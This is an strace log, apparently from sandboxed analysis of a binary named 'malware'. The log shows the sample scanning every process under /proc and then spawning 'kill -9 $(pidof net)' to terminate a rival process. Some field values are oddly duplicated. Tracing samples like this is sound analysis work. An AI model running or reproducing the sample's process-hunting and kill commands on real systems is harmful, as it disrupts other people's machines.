4293stat"/proc/1458/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=44776, st_size=44776, ...}...} 0
4293open"1461/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1461 (unity-fallback-) S 1252 12"...1024 280
4293close4 0
4293open"1461/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/unity-settings-daemon/u"...1024 59
4293read4""1024 0
4293close4 0
4293stat"/proc/1461/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=40512, st_size=40512, ...}...} 0
4293open"1468/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1468 (nm-applet) S 1252 1252 125"...1024 279
4293close4 0
4293open"1468/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"nm-applet\0"1024 10
4293read4""1024 0
4293close4 0
4293stat"/proc/1468/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=283592, st_size=283592, ...}...} 0
4293open"1495/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1495 (gvfs-udisks2-vo) S 950 103"...1024 278
4293close4 0
4293open"1495/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/gvfs/gvfs-udisks2-volum"...1024 42
4293read4""1024 0
4293close4 0
4293stat"/proc/1495/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=166200, st_size=166200, ...}...} 0
4293open"1498/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1498 (udisksd) S 1 1498 1498 0 -"...1024 169
4293close4 0
4293open"1498/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/udisks2/udisksd\0--no-de"...1024 36
4293read4""1024 0
4293close4 0
4293stat"/proc/1498/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"1520/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1520 (fwupd) S 1 1520 1520 0 -1 "...1024 174
4293close4 0
4293open"1520/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/fwupd/"...1024 38
4293read4""1024 0
4293close4 0
4293stat"/proc/1520/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"1521/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1521 (gvfs-gphoto2-vo) S 950 103"...1024 277
4293close4 0
4293open"1521/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/gvfs/gvfs-gphoto2-volum"...1024 42
4293read4""1024 0
4293close4 0
4293stat"/proc/1521/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=90208, st_size=90208, ...}...} 0
4293open"1532/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1532 (gvfs-goa-volume) S 950 103"...1024 277
4293close4 0
4293open"1532/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/gvfs/gvfs-goa-volume-mo"...1024 38
4293read4""1024 0
4293close4 0
4293stat"/proc/1532/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=94472, st_size=94472, ...}...} 0
4293open"1538/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1538 (evolution-calen) S 1448 10"...1024 315
4293close4 0
4293open"1538/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/evolution/evolution-cal"...1024 231
4293close4 0
4293stat"/proc/1538/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=14536, st_size=14536, ...}...} 0
4293open"1540/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1540 (gvfs-afc-volume) S 950 103"...1024 277
4293close4 0
4293open"1540/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/gvfs/gvfs-afc-volume-mo"...1024 38
4293read4""1024 0
4293close4 0
4293stat"/proc/1540/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=86024, st_size=86024, ...}...} 0
4293open"1548/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1548 (gvfs-mtp-volume) S 950 103"...1024 277
4293close4 0
4293open"1548/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/gvfs/gvfs-mtp-volume-mo"...1024 38
4293read4""1024 0
4293close4 0
4293stat"/proc/1548/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=90088, st_size=90088, ...}...} 0
4293open"1561/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1561 (evolution-calen) S 1448 10"...1024 316
4293close4 0
4293open"1561/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/evolution/evolution-cal"...1024 228
4293close4 0
4293stat"/proc/1561/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=14536, st_size=14536, ...}...} 0
4293open"1564/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1564 (evolution-addre) S 950 103"...1024 317
4293close4 0
4293open"1564/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/evolution/evolution-add"...1024 49
4293read4""1024 0
4293close4 0
4293stat"/proc/1564/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=10392, st_size=10392, ...}...} 0
4293open"1566/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1566 (gvfsd-trash) S 950 1037 10"...1024 278
4293close4 0
4293open"1566/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/gvfs/gvfsd-trash\0--spaw"...1024 67
4293close4 0
4293stat"/proc/1566/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=48752, st_size=48752, ...}...} 0
4293open"1579/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1579 (evolution-addre) S 1564 10"...1024 316
4293close4 0
4293open"1579/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/evolution/evolution-add"...1024 237
4293close4 0
4293stat"/proc/1579/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=14536, st_size=14536, ...}...} 0
4293open"1607/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1607 (gvfsd-metadata) S 950 1037"...1024 277
4293close4 0
4293open"1607/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/gvfs/gvfsd-metadata\0"1024 29
4293read4""1024 0
4293close4 0
4293stat"/proc/1607/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=77792, st_size=77792, ...}...} 0
4293open"1620/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1620 (compiz) S 950 1620 1620 0 "...1024 295
4293close4 0
4293open"1620/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"compiz\0"1024 7
4293read4""1024 0
4293close4 0
4293stat"/proc/1620/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=14848, st_size=14848, ...}...} 0
4293open"1657/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1657 (zeitgeist-datah) S 1252 12"...1024 283
4293close4 0
4293open"1657/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"zeitgeist-datahub\0"1024 18
4293read4""1024 0
4293close4 0
4293stat"/proc/1657/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=131760, st_size=131760, ...}...} 0
4293open"1664/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1664 (sh) S 950 1037 1037 0 -1 4"...1024 301
4293close4 0
4293open"1664/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/bin/sh\0-c\0/usr/lib/x86_64-linux"...1024 97
4293close4 0
4293stat"/proc/1664/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=154072, st_size=154072, ...}...} 0
4293open"1668/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1668 (zeitgeist-daemo) S 1664 10"...1024 287
4293close4 0
4293open"1668/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/bin/zeitgeist-daemon\0"1024 26
4293read4""1024 0
4293close4 0
4293stat"/proc/1668/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=206000, st_size=206000, ...}...} 0
4293open"1676/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1676 (zeitgeist-fts) S 950 1037 "...1024 284
4293close4 0
4293open"1676/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/zeitge"...1024 40
4293read4""1024 0
4293close4 0
4293stat"/proc/1676/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=131592, st_size=131592, ...}...} 0
4293open"1693/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1693 (unity-scope-hom) S 950 103"...1024 281
4293close4 0
4293open"1693/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/unity-"...1024 60
4293read4""1024 0
4293close4 0
4293stat"/proc/1693/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=288616, st_size=288616, ...}...} 0
4293open"1703/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1703 (unity-scope-loa) S 950 103"...1024 284
4293close4 0
4293open"1703/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/bin/unity-scope-loader\0appl"...1024 101
4293close4 0
4293stat"/proc/1703/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=10560, st_size=10560, ...}...} 0
4293open"1704/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1704 (unity-files-dae) S 950 103"...1024 281
4293close4 0
4293open"1704/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/unity-"...1024 62
4293read4""1024 0
4293close4 0
4293stat"/proc/1704/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=144432, st_size=144432, ...}...} 0
4293open"1763/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1763 (gconfd-2) S 950 1037 1037 "...1024 275
4293close4 0
4293open"1763/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/gconf/"...1024 41
4293read4""1024 0
4293close4 0
4293stat"/proc/1763/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=48520, st_size=48520, ...}...} 0
4293open"1788/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1788 (update-notifier) S 1252 12"...1024 297
4293close4 0
4293open"1788/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"update-notifier\0"1024 16
4293read4""1024 0
4293close4 0
4293stat"/proc/1788/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=57704, st_size=57704, ...}...} 0
4293open"1812/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1812 (update-manager) S 950 1252"...1024 306
4293close4 0
4293open"1812/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/bin/python3\0/usr/bin/update"...1024 71
4293close4 0
4293stat"/proc/1812/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=4464368, st_size=4464368, ...}...} 0
4293open"1837/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1837 (gpg-agent) S 1 1837 1837 0"...1024 175
4293close4 0
4293open"1837/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"gpg-agent\0--homedir\0/var/lib/fwu"...1024 72
4293close4 0
4293stat"/proc/1837/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"2152/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"2152 (deja-dup-monito) S 1252 12"...1024 284
4293close4 0
4293open"2152/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/deja-d"...1024 52
4293read4""1024 0
4293close4 0
4293stat"/proc/2152/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=23328, st_size=23328, ...}...} 0
4293open"2466/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"2466 (kworker/0:1) I 2 0 0 0 -1 "...1024 163
4293close4 0
4293open"2466/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/2466/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"2541/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"2541 (kworker/u2:2) I 2 0 0 0 -1"...1024 165
4293close4 0
4293open"2541/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/2541/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"2674/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"2674 (dhclient) S 683 2674 683 0"...1024 173
4293close4 0
4293open"2674/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/sbin/dhclient\0-d\0-q\0-sf\0/usr/li"...1024 232
4293close4 0
4293stat"/proc/2674/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"2718/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"2718 (notify-osd) S 950 1037 103"...1024 281
4293close4 0
4293open"2718/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/notify"...1024 37
4293read4""1024 0
4293close4 0
4293stat"/proc/2718/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=211688, st_size=211688, ...}...} 0
4293open"3797/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"3797 (sshd) S 1 3797 3797 0 -1 4"...1024 178
4293close4 0
4293open"3797/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/sbin/sshd\0-D\0"1024 18
4293read4""1024 0
4293close4 0
4293stat"/proc/3797/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"3923/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"3923 (kworker/u2:1) I 2 0 0 0 -1"...1024 166
4293close4 0
4293open"3923/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/3923/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"4029/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"4029 (kworker/0:0) I 2 0 0 0 -1 "...1024 162
4293close4 0
4293open"4029/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/4029/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"4175/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"4175 (kworker/0:2) I 2 0 0 0 -1 "...1024 162
4293close4 0
4293open"4175/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/4175/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"4222/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"4222 (kworker/u2:0) I 2 0 0 0 -1"...1024 163
4293close4 0
4293open"4222/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/4222/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"4257/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"4257 (sshd) S 3797 4257 4257 0 -"...1024 181
4293close4 0
4293open"4257/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"sshd: ubuntu [priv]\0\0"1024 21
4293close4 0
4293stat"/proc/4257/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"4286/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"4286 (sshd) S 4257 4257 4257 0 -"...1024 172
4293close4 0
4293open"4286/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"sshd: ubuntu@notty\0\0\0"1024 21
4293close4 0
4293stat"/proc/4286/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"4287/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"4287 (bash) S 4286 4287 4287 0 -"...1024 276
4293close4 0
4293open"4287/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"bash\0-c\0chmod +x malware & strac"...1024 65
4293close4 0
4293stat"/proc/4287/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=1037528, st_size=1037528, ...}...} 0
4293open"4289/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"4289 (strace) R 4287 4287 4287 0"...1024 307
4293close4 0
4293open"4289/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"strace\0-o\0malware.strace\0-f\0./ma"...1024 38
4293close4 0
4293stat"/proc/4289/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=866480, st_size=866480, ...}...} 0
4293open"4291/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"4291 () S 4289 4287 4287 0 -1 41"...1024 241
4293close4 0
4293open"4291/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"./malware\0"1024 10
4293read4""1024 0
4293close4 0
4293stat"/proc/4291/exe"{st_mode=S_IFREG|0711, {st_mode=S_IFREG|0711, st_size=79602, st_size=79602, ...}...} 0
4293open"4292/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"4292 (sh) S 4291 4287 4287 0 -1 "...1024 300
4293close4 0
4293open"4292/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"sh\0-c\0kill -9 $(pidof net);\r\n\0"1024 30
4293close4 0
4293stat"/proc/4292/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=154072, st_size=154072, ...}...} 0
4293open"4293/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"4293 (pidof) R 4292 4287 4287 0 "...1024 265
4293close4 0
4293open"4293/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"pidof\0net\0"1024 10
4293close4 0
4293stat"/proc/4293/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=19056, st_size=19056, ...}...} 0
4293getdents3/* 0 entries */32768 0
4293close3 0
4293exit_group1 ?
429204292 <... read resumed> ""128 0
4292---4292 --- SIGCHLD {si_signo=SIGCHLDsi_code=CLD_EXITEDsi_pid=4293si_uid=1000si_status=1si_utime=0si_stime=3} --3} ---
4292rt_sigreturn{mask=[]} 0
4292close3 0
4292wait4-1[{WIFEXITED(s) && WEXITSTATUS(s) == 1}]0NULL 4293
4292write2"sh: 1: kill: "13 13
4292write2"Usage: kill [-s sigspec | -signu"...84 84
4292write2"\n"1 1
4292stat"/usr/local/sbin/\r"0x7ffdbf7527d0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4292stat"/usr/local/bin/\r"0x7ffdbf7527d0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4292stat"/usr/sbin/\r"0x7ffdbf7527d0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4292stat"/usr/bin/\r"0x7ffdbf7527d0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4292stat"/sbin/\r"0x7ffdbf7527d0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4292stat"/bin/\r"0x7ffdbf7527d0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4292stat"/usr/games/\r"0x7ffdbf7527d0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4292stat"/usr/local/games/\r"0x7ffdbf7527d0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4292write2"sh: 1: "7 7
4292write2"\r: not found"12 12
4292write2"\n"1 1
4292exit_group127 ?
4291[{WIFEXITEDs) && WEXITSTATUS(s) == 127}]0NULL 4292
4291---4291 --- SIGCHLD {si_signo=SIGCHLDsi_code=CLD_EXITEDsi_pid=4292si_uid=1000si_status=127si_utime=0si_stime=0} --0} ---
4291rt_sigactionSIGQUIT{SIG_DFL, {SIG_DFL, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_IGN, {SIG_IGN, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}8 0
4291rt_sigactionSIGINT{SIG_DFL, {SIG_DFL, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_IGN, {SIG_IGN, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}8 0
4291rt_sigactionSIGCHLD{SIG_DFL, {SIG_DFL, [CHLD], [CHLD]SA_RESTORER|SA_RESTART0x804f7af}{SIG_DFL, {SIG_DFL, [CHLD], [CHLD]SA_RESTORER|SA_RESTART0x804f7af}8 0
4291rt_sigactionSIGQUIT{SIG_IGN, {SIG_IGN, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_DFL, {SIG_DFL, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}8 0
